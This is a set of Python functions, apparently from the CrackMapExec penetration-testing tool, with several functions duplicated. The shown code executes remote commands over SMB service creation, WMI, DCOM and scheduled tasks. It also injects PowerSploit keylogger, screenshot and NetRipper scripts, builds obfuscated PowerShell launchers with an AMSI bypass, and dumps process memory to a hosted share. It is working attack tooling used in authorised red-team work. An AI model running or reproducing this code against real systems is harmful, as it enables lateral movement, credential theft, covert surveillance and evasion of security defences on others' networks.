def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + '.bat' local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) else: command = self.__shell + data with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file: batch_file.write(command) logging.debug('Hosting batch file with command: ' + command) command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) logging.debug('Command to execute: ' + command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless()
def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' if 'TIMEOUT' not in module_options: context.log.error('TIMEOUT option is required!') exit(1) self.stream = False self.poll = 20 self.timeout = int(module_options['TIMEOUT']) if 'STREAM' in module_options: self.stream = bool(module_options['STREAM']) if 'POLL' in module_options: self.poll = int(module_options['POLL']) context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Keystrokes will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script( 'cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script( 'powersploit/Exfiltration/Get-Keystrokes.ps1') if self.stream: self.share_name = gen_random_string(5).upper() self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() else: self.file_name = gen_random_string(5)
def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + '.bat' local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__output) else: command = self.__shell + data with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file: batch_file.write(command) logging.debug('Hosting batch file with command: ' + command) command = self.__shell + '\\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__batchFile) logging.debug('Command to execute: ' + command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless()
def execute_remote(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + '.bat' if self.__retOutput: command = self.__shell + 'echo '+ data + ' ^> \\\\127.0.0.1\\{}\\{} 2^>^&1 > %TEMP%\{} & %COMSPEC% /Q /c %TEMP%\{} & %COMSPEC% /Q /c del %TEMP%\{}'.format(self.__share_name, self.__output, self.__batchFile, self.__batchFile, self.__batchFile) else: command = self.__shell + data with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file: batch_file.write(command) logging.debug('Hosting batch file with command: ' + command) #command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) logging.debug('Command to execute: ' + command) logging.debug('Remote service {} created.'.format(self.__serviceName)) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: logging.debug('Remote service {} started.'.format(self.__serviceName)) scmr.hRStartServiceW(self.__scmr, service) except: pass logging.debug('Remote service {} deleted.'.format(self.__serviceName)) scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_remote()
def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' if 'TIMEOUT' not in module_options: context.log.error('TIMEOUT option is required!') exit(1) self.stream = False self.poll = 20 self.timeout = int(module_options['TIMEOUT']) if 'STREAM' in module_options: self.stream = bool(module_options['STREAM']) if 'POLL' in module_options: self.poll = int(module_options['POLL']) context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Keystrokes will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-Keystrokes.ps1') if self.stream: self.share_name = gen_random_string(5).upper() self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start() else: self.file_name = gen_random_string(5)
def create_ps_command(ps_command, force_ps32=False): #Stolen from Unicorn https://github.com/trustedsec/unicorn/ obfs_ps_invokers = [ 'powershell.exe -exec bypass -noni -nop -w 1 -C "powershell ([char]45+[char]101+[char]99) ', 'powershell.exe -exec bypass -noni -nop -w 1 -C "sv {ran1} -;sv {ran2} ec;sv {ran3} ((gv {ran1}).value.toString()+(gv {ran2}).value.toString());powershell (gv {ran3}).value.toString() ' .format(ran1=gen_random_string(2), ran2=gen_random_string(2), ran3=gen_random_string(2)) ] amsi_bypass = """ [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) }catch{} """ if force_ps32: command = amsi_bypass + """ $functions = {{ function Command-ToExecute {{ {command} }} }} if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {{ $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32 $job | Wait-Job }} else {{ IEX "$functions" Command-ToExecute }} """.format(command=amsi_bypass + ps_command) else: command = amsi_bypass + ps_command logging.debug('Generated PS command:\n {}\n'.format(command)) command = random.choice(obfs_ps_invokers) + encode_ps_command( command) + '"' if len(command) > 8191: logger.error( 'Command exceeds maximum length of 8191 chars (was {}). exiting.'. format(len(command))) exit(1) return command
def create_ps_command(ps_command, force_ps32=False): #Stolen from Unicorn https://github.com/trustedsec/unicorn/ obfs_ps_invokers = [ 'powershell.exe -exec bypass -noni -nop -w 1 -C "powershell ([char]45+[char]101+[char]99) ', 'powershell.exe -exec bypass -noni -nop -w 1 -C "sv {ran1} -;sv {ran2} ec;sv {ran3} ((gv {ran1}).value.toString()+(gv {ran2}).value.toString());powershell (gv {ran3}).value.toString() ' .format(ran1=gen_random_string(2), ran2=gen_random_string(2), ran3=gen_random_string(2)) ] amsi_bypass = """ [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) }catch{} """ if force_ps32: command = amsi_bypass + """$command = '{b64_command}' if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {{ $exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\{ps_invoker}' + $command + '"' IEX $exec }} else {{ $exec = [System.Convert]::FromBase64String($command) $exec = [Text.Encoding]::Unicode.GetString($exec) IEX $exec }}""".format(b64_command=encode_ps_command(amsi_bypass + ps_command), ps_invoker=random.choice(obfs_ps_invokers)) else: command = amsi_bypass + ps_command logging.debug('Generated PS command:\n {}\n'.format(command)) command = random.choice(obfs_ps_invokers) + encode_ps_command( command) + '"' if len(command) > 8191: logger.error( 'Command exceeds maximum length of 8191 chars (was {}). exiting.'. format(len(command))) exit(1) return command
def options(self, context, module_options): ''' INTERVAL Specifies the interval in seconds between taking screenshots. ENDTIME Specifies when the script should stop running in the format HH:MM (Military Time). ''' if 'INTERVAL' not in module_options: context.log.error('INTERVAL option is required!') exit(1) if 'ENDTIME' not in module_options: context.log.error('ENDTIME option is required!') exit(1) self.interval = int(module_options['INTERVAL']) self.endtime = module_options['ENDTIME'] self.share_name = gen_random_string(5).upper() context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Screenshots will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script('Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script( 'powersploit/Exfiltration/Get-TimedScreenshot.ps1') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start()
def options(self, context, module_options): ''' INTERVAL Specifies the interval in seconds between taking screenshots. ENDTIME Specifies when the script should stop running in the format HH:MM (Military Time). ''' if 'INTERVAL' not in module_options: context.log.error('INTERVAL option is required!') exit(1) if 'ENDTIME' not in module_options: context.log.error('ENDTIME option is required!') exit(1) self.interval = int(module_options['INTERVAL']) self.endtime = module_options['ENDTIME'] self.share_name = gen_random_string(5).upper() context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Screenshots will be stored in ~/.cme/logs\n') self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start()
def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_options['PROCESS'] else: context.log.error('PROCESS option is required') exit(1) self.share_name = gen_random_string(5).upper() self.ps_script1 = obfs_ps_script( 'cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script( 'netripper/PowerShell/Invoke-NetRipper.ps1') context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Logs will be stored in ~/.cme/logs\n') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start()
def __init__(self, host, share_name, smbconnection, protocol, username = '', password = '', domain = '', doKerberos=False, aesKey=None, kdcHost=None, hashes = None, share = None, port=445): self.__host = host self.__share_name = "C$" self.__port = port self.__username = username self.__password = password self.__serviceName = gen_random_string() self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__batchFile = None self.__outputBuffer = b'' self.__shell = '%COMSPEC% /Q /c ' self.__retOutput = False self.__rpctransport = None self.__scmr = None self.__conn = None # self.__mode = mode self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host logging.debug('StringBinding %s'%stringbinding) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) if hasattr(self.__rpctransport, 'setRemoteHost'): self.__rpctransport.setRemoteHost(self.__host) if hasattr(self.__rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,self.__aesKey) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() if self.__doKerberos: self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle']
def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless()
def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless()
def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote()
def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote()
def __init__(self, host, share_name, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445): self.__host = host self.__share_name = share_name self.__port = port self.__username = username self.__password = password self.__serviceName = gen_random_string() self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__output = None self.__batchFile = None self.__outputBuffer = '' self.__shell = '%COMSPEC% /Q /c ' self.__retOutput = False self.__rpctransport = None self.__scmr = None self.__conn = None #self.__mode = mode #self.__aesKey = aesKey #self.__doKerberos = doKerberos if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host logging.debug('StringBinding %s'%stringbinding) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) if hasattr(self.__rpctransport, 'setRemoteHost'): self.__rpctransport.setRemoteHost(self.__host) if hasattr(self.__rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle']
def execute_remote(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket( ).getsockname()[0] command = '/Q /c ' + data if self.__retOutput is True: command += ' 1> ' + '\\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__output) + ' 2>&1' dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 4 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = self.__shell arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = self.__pwd arg2 = VARIANT(None, False) arg2['clSize'] = 5 arg2['vt'] = VARENUM.VT_BSTR arg2['_varUnion']['tag'] = VARENUM.VT_BSTR arg2['_varUnion']['bstrVal']['asData'] = command arg3 = VARIANT(None, False) arg3['clSize'] = 5 arg3['vt'] = VARENUM.VT_BSTR arg3['_varUnion']['tag'] = VARENUM.VT_BSTR arg3['_varUnion']['bstrVal']['asData'] = '7' dispParams['rgvarg'].append(arg3) dispParams['rgvarg'].append(arg2) dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) self.get_output_fileless()
def execute_remote(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = '/Q /c ' + data if self.__retOutput is True: command += ' 1> ' + '\\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) + ' 2>&1' dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 4 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = self.__shell arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = self.__pwd arg2 = VARIANT(None, False) arg2['clSize'] = 5 arg2['vt'] = VARENUM.VT_BSTR arg2['_varUnion']['tag'] = VARENUM.VT_BSTR arg2['_varUnion']['bstrVal']['asData'] = command arg3 = VARIANT(None, False) arg3['clSize'] = 5 arg3['vt'] = VARENUM.VT_BSTR arg3['_varUnion']['tag'] = VARENUM.VT_BSTR arg3['_varUnion']['bstrVal']['asData'] = '7' dispParams['rgvarg'].append(arg3) dispParams['rgvarg'].append(arg2) dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) self.get_output_fileless()
def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_options['PROCESS'] else: context.log.error('PROCESS option is required') exit(1) self.share_name = gen_random_string(5).upper() self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') self.ps_script2 = obfs_ps_script('netripper/PowerShell/Invoke-NetRipper.ps1') context.log.info('This module will not exit until CTRL-C is pressed') context.log.info('Logs will be stored in ~/.cme/logs\n') self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) self.smb_server.start()
def doStuff(self, command, fileless=False): dce = self.__rpctransport.get_dce_rpc() if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) tmpFileName = tmpName + '.tmp' xml = self.gen_xml(command, tmpFileName, fileless) #logging.info("Task XML: {}".format(xml)) taskCreated = False logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True logging.info('Running task \\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName) done = False while not done: logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: sleep(2) logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) if self.__retOutput: if fileless: while True: try: with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) else: peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() while True: try: #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback) break except Exception as e: if str(e).find('SHARING') > 0: sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: sleep(3) else: raise #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect()
def on_admin_login(self, context, connection): def __sleep_and_print(seconds): for k in range(1, seconds + 1): stdout.write('\r{dot}'.format(dot='.' * k)) stdout.flush() sleep(1) stdout.write('\n') def format_size(filesize): unit = "B" size = filesize if filesize / 1000000000 > 0: unit = "G" + unit size = filesize / 1000000000 elif filesize / 1000000 > 0: unit = "M" + unit size = filesize / 1000000 elif filesize / 1000 > 0: unit = "K" + unit size = filesize / 1000 return str(size) + unit file_name = gen_random_string() share_name = gen_random_string() if self.fileless: smb_server = CMESMBServer(context.log, share_name, verbose=context.verbose) local_ip = connection.conn.getSMBServer().get_socket().getsockname( )[0] smb_server.start() process_str = self.process if self.pid > 0: process_str = "-Id {pid}".format(pid=self.pid) output_name = "" if self.fileless: output_name = r"\\{host}\{share}\{name}".format(host=local_ip, share=share_name, name=file_name) else: output_name = r"\\127.0.0.1\ADMIN$\{name}".format(name=file_name) # The PowerShell oneliner comes from Out-Minidump: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1 payload = r''' $o='{output_file}';$p=Get-Process {process};$m=[PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting').GetNestedType('NativeMethods','NonPublic').GetMethod('MiniDumpWriteDump',[Reflection.BindingFlags]'NonPublic,Static');$fs=New-Object IO.FileStream($o, [IO.FileMode]::Create);$n=[IntPtr]::Zero;$r=$m.Invoke($null,@($p.Handle,$p.Id,$fs.SafeFileHandle,[UInt32] 2,$n,$n,$n));$fs.Close() '''.format(output_file=output_name, process=process_str) connection.ps_execute(payload) context.log.success('Executed launcher') context.log.info('Waiting 2s for completion') __sleep_and_print(2) if self.fileless: size = 0 while True: try: new_size = os.path.getsize( os.path.join("/tmp", "cme_hosted", file_name)) if new_size == size: break else: __sleep_and_print(2) size = new_size except OSError: __sleep_and_print(2) smb_server.shutdown() context.log.success( "Dump file received: /tmp/cme_hosted/{name}.".format( name=file_name)) else: context.log.info( r'Opening: ADMIN$\{output_file}'.format(output_file=file_name)) f = RemoteFile(connection.conn, file_name, share='ADMIN$', access=FILE_READ_DATA) try: f.open() except SessionError as e: print(e) context.log.info( 'File not found, sleeping to wait for the dump to finish') context.log.info('Sleeping 5s') __sleep_and_print(5) try: f.open() except SessionError as e: context.log.error('File not found, aborting..') return filesize = f.size() context.log.info( r'Reading: {output_file}, about {filesize}'.format( output_file=output_name, filesize=format_size(filesize))) outputfile = "{host}_{process}_{output_name}.dmp".format( host=connection.hostname if connection.hostname else connection.host, process=process_str.split(" ")[-1] if " " in process_str else process_str, output_name=file_name) output = open(outputfile, "wb") pbar = tqdm(total=filesize) bytesRead = f.read(BUF_SIZE) while bytesRead != '': pbar.update(BUF_SIZE) output.write(bytesRead) bytesRead = f.read(BUF_SIZE) output.close() pbar.close() f.close() f.delete() context.log.success( 'Dump file saved as {output} and remote file deleted.'.format( output=outputfile))
def doStuff(self, command, fileless=False): dce = self.__rpctransport.get_dce_rpc() dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) tmpFileName = tmpName + '.tmp' xml = self.gen_xml(command, tmpFileName, fileless) #logging.info("Task XML: {}".format(xml)) taskCreated = False logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True logging.info('Running task \\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName) done = False while not done: logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: sleep(2) logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) if self.__retOutput: if fileless: while True: try: with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) else: peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() while True: try: #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback) break except Exception as e: if str(e).find('SHARING') > 0: sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: sleep(3) else: raise #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect()